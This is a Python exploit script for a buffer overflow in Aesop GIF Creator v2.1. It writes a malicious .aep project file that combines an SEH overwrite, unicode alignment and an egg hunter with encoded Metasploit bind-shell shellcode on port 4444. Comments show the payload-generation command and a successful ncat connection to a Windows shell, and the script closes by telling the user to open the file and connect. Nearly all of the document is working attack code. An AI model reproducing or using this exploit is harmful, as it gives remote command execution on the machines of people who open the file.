# !/usr/bin/python# Exploit Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit# Date: 12/15/2010# Author: xsploitedsec# URL: http://www.x-sploited.com/# Contact: xsploitedsec [at] x-sploited.com# Software Link: http://www.yukudr.com/_h84561/aesop_setup.exe# Vulnerable version: <= v2.1# Tested on: Windows XP SP3 Eng# CVE : N/A#### Software Description:# Aesop is a powerful tool that allows you to create animated GIF images (banners, buttons, labels and headings)# for your website and even GIF wallpapers for your mobile phone quickly and easily (click to see samples). You# can use an antialiased 3D-Text, shapes (rectangles, rounded rectangles, ellipses and polygons) and external# pictures for drawing in your GIF.# Convenient interface.# Unicode support - you can use national characters as Text in your GIF.# An excellent antialiasing technique (blurring the edges between color transitions) to draw 3D-Text and shapes: #### Exploit information:# Aesop is prone to a buffer overflow when handling a malicious aesop project files. The vulnerability# is due to improper bounds checking of the "Picture=" field which can be exploited by malicious people to# compromise a users system.#### Other information:# I attempted to reach out to the vendor about this but after a few short emails it became clear that they# had no interest in verifying it/coordinating a fix so here's the exploit.#### Notes:# I always knew that one day I would end up needing to deal with unicode buffers. After a couple nights of# tinkering around this is the end result. P.S. - When all else fails->Fail harder#### Shoutz:# kAoTiX, Sheep, Tu, edb-team, corelan team, packetstormsecurity and all other security researchers and sites.# -> A big thanks goes to corelanc0d3r for shedding some light on the subject of unicode exploits. ;)
import struct
import sys
about = "\r\n==================================================================\n"
about +=" Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit PoC\n"
about +=" Author: xsploitedsec\n URL: http://www.x-sploited.com/\n"
about +=" Contact: xsploitedsecurity [at] x-sploited.com\n"
about +="=================================================================="
print about
# root@bt:~# msfpayload windows/shell_bind_tcp lport=4444 lhost=0.0.0.0 EXITFUNC=seh R# | msfencode -e x86/alpha_upper -c 1 -t c -b '\x1a\x19\x0a' > /tmp/aesop.txt# [*] x86/alpha_upper succeeded with size 752 (iteration=1)## root@bt:~# ncat 10.0.1.16 4444# Microsoft Windows XP [Version 5.1.2600]# (C) Copyright 1985-2001 Microsoft Corp.# C:\># Unmolested, ASCII shellcode buried in stack ftw!?
bindshell = ("\xda\xca\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x43\x43\x43""\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41""\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42""\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50""\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30\x43""\x30\x43\x30\x43\x50\x4d\x59\x4d\x35\x50\x31\x4e\x32\x42\x44""\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b\x50""\x52\x44\x54\x4c\x4b\x44\x32\x47\x58\x44\x4f\x48\x37\x50\x4a""\x47\x56\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x45""\x31\x43\x4c\x44\x42\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44\x4d""\x43\x31\x48\x47\x4d\x32\x4c\x30\x50\x52\x51\x47\x4c\x4b\x51""\x42\x42\x30\x4c\x4b\x47\x32\x47\x4c\x43\x31\x48\x50\x4c\x4b""\x47\x30\x44\x38\x4c\x45\x4f\x30\x43\x44\x50\x4a\x43\x31\x48""\x50\x46\x30\x4c\x4b\x51\x58\x44\x58\x4c\x4b\x51\x48\x51\x30""\x43\x31\x4e\x33\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34\x4c""\x4b\x45\x51\x4e\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c""\x4f\x31\x48\x4f\x44\x4d\x43\x31\x48\x47\x50\x38\x4b\x50\x42""\x55\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51\x34""\x42\x55\x4a\x42\x50\x58\x4c\x4b\x46\x38\x51\x34\x45\x51\x48""\x53\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58\x45\x4c""\x43\x31\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50\x4c""\x49\x47\x34\x46\x44\x47\x54\x51\x4b\x51\x4b\x45\x31\x46\x39""\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a\x4c""\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x43\x58\x47\x43\x46\x52""\x45\x50\x45\x50\x45\x38\x43\x47\x44\x33\x47\x42\x51\x4f\x51""\x44\x43\x58\x50\x4c\x42\x57\x46\x46\x43\x37\x4b\x4f\x49\x45""\x4f\x48\x4a\x30\x43\x31\x43\x30\x45\x50\x51\x39\x49\x54\x51""\x44\x46\x30\x43\x58\x51\x39\x4b\x30\x42\x4b\x43\x30\x4b\x4f""\x4e\x35\x46\x30\x46\x30\x50\x50\x50\x50\x47\x30\x50\x50\x51""\x50\x50\x50\x45\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f""\x4e\x35\x4b\x39\x48\x47\x46\x51\x49\x4b\x51\x43\x45\x38\x44""\x42\x45\x50\x42\x31\x51\x4c\x4b\x39\x4b\x56\x42\x4a\x44\x50""\x51\x46\x46\x37\x45\x38\x49\x52\x49\x4b\x50\x37\x45\x37\x4b""\x4f\x4e\x35\x46\x33\x51\x47\x43\x58\x48\x37\x4a\x49\x47\x48""\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46\x33\x46\x37\x42\x48\x43""\x44\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4b\x39""\x49\x57\x42\x48\x44\x35\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49""\x45\x45\x38\x43\x53\x42\x4d\x45\x34\x43\x30\x4c\x49\x4b\x53""\x50\x57\x50\x57\x51\x47\x46\x51\x4a\x56\x43\x5a\x45\x42\x50""\x59\x50\x56\x4d\x32\x4b\x4d\x43\x56\x48\x47\x51\x54\x47\x54""\x47\x4c\x43\x31\x43\x31\x4c\x4d\x51\x54\x51\x34\x44\x50\x4f""\x36\x43\x30\x51\x54\x50\x54\x46\x30\x46\x36\x46\x36\x46\x36""\x51\x56\x50\x56\x50\x4e\x50\x56\x50\x56\x50\x53\x46\x36\x43""\x58\x44\x39\x48\x4c\x47\x4f\x4d\x56\x4b\x4f\x49\x45\x4c\x49""\x4d\x30\x50\x4e\x46\x36\x47\x36\x4b\x4f\x46\x50\x42\x48\x43""\x38\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4b\x4e""\x44\x4e\x46\x52\x4b\x5a\x43\x58\x4e\x46\x4c\x55\x4f\x4d\x4d""\x4d\x4b\x4f\x48\x55\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4b\x30""\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x47\x37\x45\x43\x43""\x42\x42\x4f\x42\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x45\x5a""\x41\x41");# unicode encoded, egg="w00t"
egg_hunter = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ""1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY""AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J""O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA");# aesop project file header
prj_header = ("\x5B\x41\x65\x73\x6F\x70\x20\x50\x72\x6F\x6A\x65\x63\x74\x20\x46\x69\x6C""\x65\x20\x76\x2E\x32\x2E\x30\x5D\x0D\x0A\x7B\x50\x69\x63\x74\x75\x72\x65""\x3D");#hunter tag ="w00tw00t"
egg = "\x77\x30\x30\x74\x77\x30\x30\x74";
seh_offset = 669;# Begin payload buffer
payload = "\x41"* seh_offset;# NSEH
payload +="\x61";#popad
payload +="\x73";#nopalign/add byte ptr [ebx],dh# SE handler
payload +="\xB1\x42";#unicode compatible p/p/r - Aesop.exe (universal)# Prepare/jump->EAX
payload +="\x73";#venetian/add byte ptr [ebx],dh
payload +="\x55";#push ebp
payload +="\x73";#venetian/add byte ptr [ebx],dh
payload +="\x58";#pop eax
payload +="\x73";#venetian/add byte ptr [ebx],dh
payload +="\x05\x19\x11";#add eax, 0x19002200h
payload +="\x73";#venetian/add byte ptr [ebx],dh
payload +="\x2d\x11\x11";#sub eax, 0x12007200h
payload +="\x73";#venetian/add byte ptr [ebx],dh
payload +="\x50";#push eax
payload +="\x73";#add byte ptr [ebx],dh
payload +="\xc3";#ret
payload +="\x41"* 242;#align egghunter with->(ebp+650)
payload += egg_hunter;
payload +="\x41"* 1000;#give shellcode some breathing room
payload += egg;
payload += bindshell;
payload +="\x44"*(5000-len(payload));#junk padding# End payload buffer
xsploitme = (prj_header + payload);
print("\n[*] Creating file->xsploited.aep");try:
out_file = open("xsploited.aep",'w');
out_file.write(xsploitme);
out_file.close();
print("[+] xsploited.aep created successfully");
print("[*] 1. Launch the file or open it via Aesop.exe");
print("[*] 2. Wait a sec for egghunter and netcat in :)\n[-] Exiting...\r");
except (IOError):
print("[!] Error creating file\n[-] Exiting...\r");
